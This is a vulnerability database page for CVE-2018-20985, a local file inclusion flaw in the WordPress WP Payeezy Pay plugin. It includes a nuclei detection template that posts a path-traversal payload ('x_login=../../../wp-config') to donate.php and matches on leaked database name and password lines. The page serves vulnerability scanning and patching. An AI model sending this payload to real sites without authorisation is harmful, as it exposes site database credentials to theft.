Browse / CVEs / CVE-2018-20985
CVE-2018-20985· payeezy / wp payeezy pay· CWE-20
WordPress Payeezy Pay <=2.97 - Local File Inclusion
WordPress Plugin WP Payeezy Pay is prone to a local file inclusion vulnerability because it fails to sufficiently verify user-supplied input. Exploiting this issue may allow an attacker to obtain sensitive information that could aid in further attacks. WordPress Plugin WP Payeezy Pay version 2.97 is vulnerable; prior versions are also affected.
Impact
The vulnerability allows an attacker to include local files and execute arbitrary code on the server.
Fix
Update to the latest version of WordPress Payeezy Pay plugin.
How to confirm it
Send: POST {{BaseURL}}/wp-content/plugins/wp-payeezy-pay/donate.php
Positive when: contains "The base configuration for WordPress" and "define( 'DB_NAME'," and "define( 'DB_PASSWORD'," AND status 200Run it with nuclei: nuclei -id CVE-2018-20985 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2018-20985
info:
name: WordPress Payeezy Pay <=2.97 - Local File Inclusion
author: daffainfo
severity: critical
description: WordPress Plugin WP Payeezy Pay is prone to a local file inclusion vulnerability because it fails to sufficiently verify user-supplied input. Exploiting this issue may allow an attacker to obtain sensitive information that could aid in further attacks. WordPress Plugin WP Payeezy Pay version 2.97 is vulnerable; prior versions are also affected.
impact: |
The vulnerability allows an attacker to include local files and execute arbitrary code on the server.
remediation: |
Update to the latest version of WordPress Payeezy Pay plugin.
reference:
- https://www.pluginvulnerabilities.com/2018/12/06/our-improved-proactive-monitoring-has-now-caught-a-local-file-inclusion-lfi-vulnerability-as-well/
- https://wordpress.org/plugins/wp-payeezy-pay/#developers
- https://nvd.nist.gov/vuln/detail/CVE-2018-20985
- https://github.com/ARPSyndicate/kenzer-templates
- https://github.com/ARPSyndicate/cvemon
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2018-20985
cwe-id: CWE-20
epss-score: 0.07671
epss-percentile: 0.94636
cpe: cpe:2.3:a:payeezy:wp_payeezy_pay:*:*:*:*:*:wordpress:*:*
metadata:
max-request: 1
vendor: payeezy
product: wp_payeezy_pay
framework: wordpress
tags: cve,cve2018,wordpress,lfi,plugin,payeezy,vuln
http:
- method: POST
path:
- "{{BaseURL}}/wp-content/plugins/wp-payeezy-pay/donate.php"
body: "x_login=../../../wp-config"
matchers-condition: and
matchers:
- type: word
part: body
words:
- "The base configuration for WordPress"
- "define( 'DB_NAME',"
- "define( 'DB_PASSWORD',"
condition: and
- type: status
status:
- 200References
- https://www.pluginvulnerabilities.com/2018/12/06/our-improved-proactive-monitoring-has-now-caught-a-local-file-inclusion-lfi-vulnerability-as-well/
- https://wordpress.org/plugins/wp-payeezy-pay/#developers
- https://nvd.nist.gov/vuln/detail/CVE-2018-20985
- https://github.com/ARPSyndicate/kenzer-templates
- https://github.com/ARPSyndicate/cvemon
Use this check only on systems you are authorised to test. Where the data comes from